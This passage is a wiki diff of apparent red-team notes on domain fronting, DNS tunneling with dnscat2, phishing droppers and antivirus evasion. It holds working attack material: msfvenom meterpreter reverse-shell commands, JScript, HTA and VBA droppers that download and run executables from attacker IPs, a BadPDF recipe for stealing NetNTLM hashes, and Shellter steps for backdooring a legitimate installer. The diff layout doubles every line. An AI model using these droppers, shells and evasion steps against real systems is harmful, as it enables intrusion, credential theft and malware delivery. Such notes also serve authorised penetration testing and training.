httpd = socketserver.TCPServer(('138.68.99.177', 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="key.pem", certfile='cert.pem', server_side=True) | httpd = socketserver.TCPServer(('138.68.99.177', 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="key.pem", certfile='cert.pem', server_side=True) | ||
httpd.serve_forever() | httpd.serve_forever() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Run the script: | Run the script: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
sudo python3 httpsserver.py | sudo python3 httpsserver.py | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Verify using curl : | Verify using curl : | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 2,060: | Line 1,464: | ||
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net] | curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net] | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''5. Find Frontable Domain''': | '''5. Find Frontable Domain''': | ||
* Frontable domain must be hosted on azureedge.net . | * Frontable domain must be hosted on azureedge.net . | ||
* Use FindFrontableDomains tool by Steve Borosh. | * Use FindFrontableDomains tool by Steve Borosh. | ||
Installation: | Installation: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 2,079: | Line 1,478: | ||
sudo ./setup.sh | sudo ./setup.sh | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Example scan for outlook.com : | Example scan for outlook.com : | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
python3 FindFrontableDomains.py --domain outlook.com | python3 FindFrontableDomains.py --domain outlook.com | ||
[-] Enumerating subdomains now for outlook.com | [-] Enumerating subdomains now for outlook.com | ||
[-] Searching now in Baidu.. | [-] Searching now in Baidu.. | ||
| Line 2,109: | Line 1,505: | ||
Search complete! | Search complete! | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Test potential frontable domain: | Test potential frontable domain: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
curl --header "Host: offensive-security.azureedge.net" [http://chosen-frontable-domain.com http://chosen-frontable-domain.com] | curl --header "Host: offensive-security.azureedge.net" [http://chosen-frontable-domain.com http://chosen-frontable-domain.com] | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''6. Inspecting Traffic''': | '''6. Inspecting Traffic''': | ||
* Use Wireshark to inspect DNS and HTTP requests. | * Use Wireshark to inspect DNS and HTTP requests. | ||
'''Getting shell using Domain fronting''' | '''Getting shell using Domain fronting''' | ||
* '''Initial setup''': Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires: | * '''Initial setup''': Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires: | ||
The fronting domain is hosted on the same CDN as the attacker’s domain. | The fronting domain is hosted on the same CDN as the attacker’s domain. | ||
* CDN forwards requests based on the HTTP Host header. | * CDN forwards requests based on the HTTP Host header. | ||
* '''HTTPS Inspection''': With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test. | * '''HTTPS Inspection''': With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test. | ||
* '''Certificate Details''': | * '''Certificate Details''': | ||
The TLS certificate used in the exchange can be Microsoft's. | The TLS certificate used in the exchange can be Microsoft's. | ||
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it's valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key. | * A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it's valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key. | ||
* '''Payload Creation''': | * '''Payload Creation''': | ||
Use msfvenom to create a reverse shell payload. | Use msfvenom to create a reverse shell payload. | ||
* The <code>HttpHostHeader</code> option sets the <code>Host</code> header in HTTP. In the example: <code>msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe > http-df.exe </code>. | * The <code>HttpHostHeader</code> option sets the <code>Host</code> header in HTTP. In the example: <code>msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe > http-df.exe </code>. | ||
* '''Listener Configuration''': | * '''Listener Configuration''': | ||
Configure a listener on the VM hosting the attacker site. | Configure a listener on the VM hosting the attacker site. | ||
* Use the Metasploit multi/handler exploit with specified parameters to listen for incoming connections using the domain fronting technique. | * Use the Metasploit multi/handler exploit with specified parameters to listen for incoming connections using the domain fronting technique. | ||
* '''Payload Execution''': | * '''Payload Execution''': | ||
Start packet capturing tool (e.g., Wireshark). | Start packet capturing tool (e.g., Wireshark). | ||
* Execute the payload. | * Execute the payload. | ||
* Inspect the traffic details. | * Inspect the traffic details. | ||
* The shell connects to the fronted domain's IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net). | * The shell connects to the fronted domain's IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net). | ||
== DNS Tunneling == | == DNS Tunneling == | ||
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data. | DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data. | ||
=== dnscat2 === | === dnscat2 === | ||
'''Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]''' | '''Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]''' | ||
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2] | [https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2] | ||
[[File:2023-09-image-11.png|thumb]] | [[File:2023-09-image-11.png|thumb]] | ||
* '''Configuration on Ubuntu Machine''' | * '''Configuration on Ubuntu Machine''' | ||
'''File to Edit''': /etc/dnsmasq.conf | '''File to Edit''': /etc/dnsmasq.conf | ||
* '''Config Entries''': | * '''Config Entries''': | ||
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP. | Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 2,209: | Line 1,571: | ||
server=/somedomain.com/192.168.119.120 | server=/somedomain.com/192.168.119.120 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Restart dnsmasq''': | * '''Restart dnsmasq''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
offsec@ubuntu:~$ sudo systemctl restart dnsmasq | offsec@ubuntu:~$ sudo systemctl restart dnsmasq | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Installing and Running dnscat2 on Kali Machine''' | * '''Installing and Running dnscat2 on Kali Machine''' | ||
'''Installation''': | '''Installation''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
kali@kali:~$ sudo apt install dnscat2 | kali@kali:~$ sudo apt install dnscat2 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Starting Server''': | * '''Starting Server''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
kali@kali:~$ dnscat2-server tunnel.com | kali@kali:~$ dnscat2-server tunnel.com | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Client command (example)''': | * '''Client command (example)''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com | ./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Running dnscat2 Client on Windows Machine''' | * '''Running dnscat2 Client on Windows Machine''' | ||
'''Start Command''': | '''Start Command''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
dnscat2-v0.07-client-win32.exe tunnel.com | dnscat2-v0.07-client-win32.exe tunnel.com | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Authentication Check''' | * '''Authentication Check''' | ||
Verify the authentication string Pedal Envied Tore Frozen Pegged Ware on both Kali and Windows sides. | Verify the authentication string Pedal Envied Tore Frozen Pegged Ware on both Kali and Windows sides. | ||
* '''Interacting with Client Session on Kali Machine''' | * '''Interacting with Client Session on Kali Machine''' | ||
'''Attach to Session''': | '''Attach to Session''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
dnscat2> session -i 1 | dnscat2> session -i 1 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Execute Commands Interactively''': | * '''Execute Commands Interactively''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
command (client) 1> shell | command (client) 1> shell | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Switch to New Session''': | * '''Switch to New Session''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
command (client) 1> session -i 2 | command (client) 1> session -i 2 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Tunneling TCP with dnscat2 on Kali Machine''' | * '''Tunneling TCP with dnscat2 on Kali Machine''' | ||
'''TCP/IP Tunnels Over DNS''': | '''TCP/IP Tunnels Over DNS''': | ||
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system. | * dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
command (client) 1> listen 127.0.0.1:3389 172.16.51.21:3389 | command (client) 1> listen 127.0.0.1:3389 172.16.51.21:3389 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Dropper / Phishing == | == Dropper / Phishing == | ||
=== [BAD]PDF === | === [BAD]PDF === | ||
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter] | [https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible. | # This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible. | ||
# Use the metasploit exploit and generate a PDF | # Use the metasploit exploit and generate a PDF | ||
msf6 auxiliary(fileformat/badpdf) > set lhost 10.10.14.8 | msf6 auxiliary(fileformat/badpdf) > set lhost 10.10.14.8 | ||
| Line 2,317: | Line 1,649: | ||
filename => job.pdf | filename => job.pdf | ||
msf6 auxiliary(fileformat/badpdf) > run | msf6 auxiliary(fileformat/badpdf) > run | ||
# Start a SMB server | # Start a SMB server | ||
impacket-smbserver share . -smb2support | impacket-smbserver share . -smb2support | ||
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash. | # Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash. | ||
impacket-smbserver share . -smb2support | impacket-smbserver share . -smb2support | ||
Impacket v0.11.0 - Copyright 2023 Fortra | Impacket v0.11.0 - Copyright 2023 Fortra | ||
[*] Config file parsed | [*] Config file parsed | ||
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 | [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 | ||
| Line 2,339: | Line 1,667: | ||
[*] Remaining connections [] | [*] Remaining connections [] | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Jscript (.js) === | === Jscript (.js) === | ||
* It downloads a file from a specified URL (" [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]"). | * It downloads a file from a specified URL (" [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]"). | ||
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content. | * It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content. | ||
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named "met.exe" using the `ADODB.Stream` object. | * If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named "met.exe" using the `ADODB.Stream` object. | ||
* It then uses the `WScript.Shell` object to run the "met.exe" file. | * It then uses the `WScript.Shell` object to run the "met.exe" file. | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
| Line 2,361: | Line 1,683: | ||
Object.Open('GET', url, false); | Object.Open('GET', url, false); | ||
Object.Send(); | Object.Send(); | ||
if (Object.Status == 200) | if (Object.Status == 200) | ||
{ | { | ||
| Line 2,372: | Line 1,693: | ||
Stream.Close(); | Stream.Close(); | ||
} | } | ||
var r = new ActiveXObject("WScript.Shell").Run("met.exe"); | var r = new ActiveXObject("WScript.Shell").Run("met.exe"); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-08-image-3.png|thumb]] | [[File:2023-08-image-3.png|thumb]] | ||
==== Proxy-aware ==== | ==== Proxy-aware ==== | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
var url = "http://192.168.119.120/met.exe"; | var url = "http://192.168.119.120/met.exe"; | ||
var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP.3.0"); | var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP.3.0"); | ||
// Set proxy details using setProxy method | // Set proxy details using setProxy method | ||
xmlhttp.setProxy(2, "http://proxy.example.com:8080", ""); | xmlhttp.setProxy(2, "http://proxy.example.com:8080", ""); | ||
xmlhttp.open("GET", url, false); | xmlhttp.open("GET", url, false); | ||
xmlhttp.send(); | xmlhttp.send(); | ||
if (xmlhttp.status === 200) { | if (xmlhttp.status === 200) { | ||
var stream = new ActiveXObject("ADODB.Stream"); | var stream = new ActiveXObject("ADODB.Stream"); | ||
| Line 2,402: | Line 1,716: | ||
stream.Close(); | stream.Close(); | ||
} | } | ||
var shell = new ActiveXObject("WScript.Shell"); | var shell = new ActiveXObject("WScript.Shell"); | ||
shell.Run("met.exe"); | shell.Run("met.exe"); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== HTA === | === HTA === | ||
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)] | [https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)] | ||
<syntaxhighlight lang="markup"> | <syntaxhighlight lang="markup"> | ||
var shell = new ActiveXObject("WScript.Shell"); | var shell = new ActiveXObject("WScript.Shell"); | ||
| Line 2,422: | Line 1,731: | ||
//var res1 = shell.Run("timeout 10 && certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe"); | //var res1 = shell.Run("timeout 10 && certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe"); | ||
//var res2 = shell.Run("timeout 12 && C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe"); | //var res2 = shell.Run("timeout 12 && C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe"); | ||
self.close(); | self.close(); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="markup"> | <syntaxhighlight lang="markup"> | ||
var shell = new ActiveXObject("WScript.Shell"); | var shell = new ActiveXObject("WScript.Shell"); | ||
var res = shell.Run("powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe"); | var res = shell.Run("powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe"); | ||
var ress = shell.Run("powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe"); | var ress = shell.Run("powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe"); | ||
self.close(); | self.close(); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== VBA === | === VBA === | ||
<syntaxhighlight lang="visual"> | <syntaxhighlight lang="visual"> | ||
| Line 2,460: | Line 1,761: | ||
End Sub | End Sub | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="visual"> | <syntaxhighlight lang="visual"> | ||
# | # | ||
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay. | The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay. | ||
Sub Document_Open() | Sub Document_Open() | ||
MyMacro | MyMacro | ||
| Line 2,491: | Line 1,790: | ||
End Sub | End Sub | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== EXE to DLL == | == EXE to DLL == | ||
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)] | [https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 2,503: | Line 1,799: | ||
#Run exe_to_dll from commandline. Arguments: | #Run exe_to_dll from commandline. Arguments: | ||
args: | args: | ||
# Example: | # Example: | ||
exe_to_dll.exe test_case1.exe test_case1.dll | exe_to_dll.exe test_case1.exe test_case1.dll | ||
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application. | # After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Evasion techniques == | == Evasion techniques == | ||
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM] | [https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM] | ||
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)] | [https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)] | ||
=== Hypervisor check === | === Hypervisor check === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
class Program | class Program | ||
{ | { | ||
[DllImport("hypervisor_check.dll", CallingConvention = CallingConvention.Cdecl)] | [DllImport("hypervisor_check.dll", CallingConvention = CallingConvention.Cdecl)] | ||
public static extern bool is_run_in_hypervisor(); | public static extern bool is_run_in_hypervisor(); | ||
static void Main() | static void Main() | ||
{ | { | ||
| Line 2,538: | Line 1,825: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Sleep function === | === Sleep function === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 2,549: | Line 1,833: | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern void Sleep(uint dwMilliseconds); | static extern void Sleep(uint dwMilliseconds); | ||
// In main | // In main | ||
DateTime t1 = DateTime.Now; | DateTime t1 = DateTime.Now; | ||
| Line 2,558: | Line 1,841: | ||
return; | return; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Frida - Hooking == | == Frida - Hooking == | ||
== Initial Access - All-around tools == | == Initial Access - All-around tools == | ||
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection. | There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection. | ||
AV bypass can be tedious and some of these tools might help. | AV bypass can be tedious and some of these tools might help. | ||
=== Theory === | === Theory === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# On-Disk Evasion | # On-Disk Evasion | ||
- Packers | - Packers | ||
- Obfuscator | - Obfuscator | ||
- Crypters | - Crypters | ||
- Software protectors | - Software protectors | ||
# In-memory Evasion | # In-memory Evasion | ||
- Remote Process Memory Injection | - Remote Process Memory Injection | ||
- Reflective DLL Injection | - Reflective DLL Injection | ||
| Line 2,592: | Line 1,865: | ||
- Inline hooking | - Inline hooking | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== BallisKit - MacroPack === | === BallisKit - MacroPack === | ||
[https://www.balliskit.com/ BallisKit] | [https://www.balliskit.com/ BallisKit] | ||
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques. | MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques. | ||
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc. | MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc. | ||
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others. | MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others. | ||
[[File:2023-12-image-1.png|thumb]] | [[File:2023-12-image-1.png|thumb]] | ||
The free version of MacroPack is available here, though it won't be as good as bypassing AV. | The free version of MacroPack is available here, though it won't be as good as bypassing AV. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
https://github.com/sevagas/macro_pack | https://github.com/sevagas/macro_pack | ||
# Must be installed from Windows machine | # Must be installed from Windows machine | ||
# Some example commands from github. All other commands are available on Github | # Some example commands from github. All other commands are available on Github | ||
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file. | # Obfuscate the vba file generated by msfvenom and puts result in a new VBA file. | ||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba | ||
# List all supported file formats | # List all supported file formats | ||
macro_pack.exe --listformats | macro_pack.exe --listformats | ||
# List all available templates | # List all available templates | ||
macro_pack.exe --listtemplates | macro_pack.exe --listtemplates | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== mgeeky's tools ==== | ==== mgeeky's tools ==== | ||
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub. | Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub. | ||
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors] | [https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors] | ||
[https://binary-offensive.com/software binary-offensive | Offensive IT Security] | [https://binary-offensive.com/software binary-offensive | Offensive IT Security] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
Some of my private repositories shared with my Sponsors include: | Some of my private repositories shared with my Sponsors include: | ||
MSISnatcher - MSI backdooring companion | MSISnatcher - MSI backdooring companion | ||
Polonium - AV/EDR benchmarking tool, advanced shellcode loader | Polonium - AV/EDR benchmarking tool, advanced shellcode loader | ||
| Line 2,662: | Line 1,916: | ||
and more.. | and more.. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Shellter === | === Shellter === | ||
Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software. | Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software. | ||
It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload. | It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload. | ||
The free version only works for x86, not x64. | The free version only works for x86, not x64. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 2,680: | Line 1,929: | ||
sudo apt install shellter | sudo apt install shellter | ||
apt install wine | apt install wine | ||
# If error | # If error | ||
dpkg --add-architecture i386 && apt-get update && | dpkg --add-architecture i386 && apt-get update && | ||
apt-get install wine32:i386 | apt-get install wine32:i386 | ||
# Start | # Start | ||
shellter | shellter | ||
# Download a valid .exe file, ex spotify installer and load it into shellter. | # Download a valid .exe file, ex spotify installer and load it into shellter. | ||
/home/aghanim/downloads/SpotifySetup.exe | /home/aghanim/downloads/SpotifySetup.exe | ||
# Choose a payload from the list. | # Choose a payload from the list. | ||
L | L | ||
| Line 2,696: | Line 1,941: | ||
SET LHOST: IP | SET LHOST: IP | ||
SET LPORT: PORT | SET LPORT: PORT | ||
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate". | # After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate". | ||
set AutoRunScript post/windows/manage/migrate | set AutoRunScript post/windows/manage/migrate | ||
----------------------- | ----------------------- | ||
# You can also set custom payload | # You can also set custom payload | ||
# First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload) | # First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload) | ||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin | ||
# Start shellter | # Start shellter | ||
Choose Operation Mode - Auto/Manual (A/M/H): A | Choose Operation Mode - Auto/Manual (A/M/H): A | ||
PE Target: /home/kali/poultry/whoami.exe | PE Target: /home/kali/poultry/whoami.exe | ||
********** | ********** | ||
* Backup * | * Backup * | ||
********** | ********** | ||
Backup: Shellter_Backups\whoami.exe | Backup: Shellter_Backups\whoami.exe | ||
... | ... | ||
Filtering Time Approx: 0.0024 mins. | Filtering Time Approx: 0.0024 mins. | ||
Enable Stealth Mode? (Y/N/H): N | Enable Stealth Mode? (Y/N/H): N | ||
************ | ************ | ||
* Payloads * | * Payloads * | ||
************ | ************ | ||
[1] Meterpreter_Reverse_TCP [stager] | [1] Meterpreter_Reverse_TCP [stager] | ||
[2] Meterpreter_Reverse_HTTP [stager] | [2] Meterpreter_Reverse_HTTP [stager] | ||
| Line 2,734: | Line 1,967: | ||
[6] Shell_Bind_TCP [stager] | [6] Shell_Bind_TCP [stager] | ||
[7] WinExec | [7] WinExec | ||
Use a listed payload or custom? (L/C/H): C | Use a listed payload or custom? (L/C/H): C | ||
Select Payload: /home/kali/poultry/met.bin | Select Payload: /home/kali/poultry/met.bin | ||
Is this payload a reflective DLL loader? (Y/N/H): N | Is this payload a reflective DLL loader? (Y/N/H): N | ||
**************** | **************** | ||
* Payload Info * | * Payload Info * | ||
| Line 2,746: | Line 1,975: | ||
... | ... | ||
Injection: Verified! | Injection: Verified! | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2022-10-image-1.png|thumb]] | [[File:2022-10-image-1.png|thumb]] | ||
[[File:2022-10-image-2.png|thumb]] | [[File:2022-10-image-2.png|thumb]] | ||
=== Veil Framework === | === Veil Framework === | ||
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion. | Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 2,767: | Line 1,990: | ||
apt -y install veil | apt -y install veil | ||
/usr/share/veil/config/setup.sh --force --silent | /usr/share/veil/config/setup.sh --force --silent | ||
# If error with (wine) python pip peefile version fix with this | # If error with (wine) python pip peefile version fix with this | ||
vim /usr/share/veil/config/setup.sh | vim /usr/share/veil/config/setup.sh | ||
Change line 587 to: | Change line 587 to: | ||
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18" | sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18" | ||
Then, run # veil --setup again. | Then, run # veil --setup again. | ||
# Start veil | # Start veil | ||
| Line 2,781: | Line 2,000: | ||
# or | # or | ||
/usr/share/veil/Veil.py | /usr/share/veil/Veil.py | ||
# Available Commands: | # Available Commands: | ||
exit Completely exit Veil | exit Completely exit Veil | ||
info Information on a specific tool | info Information on a specific tool | ||
| Line 2,790: | Line 2,007: | ||
update Update Veil | update Update Veil | ||
use Use a specific tool | use Use a specific tool | ||
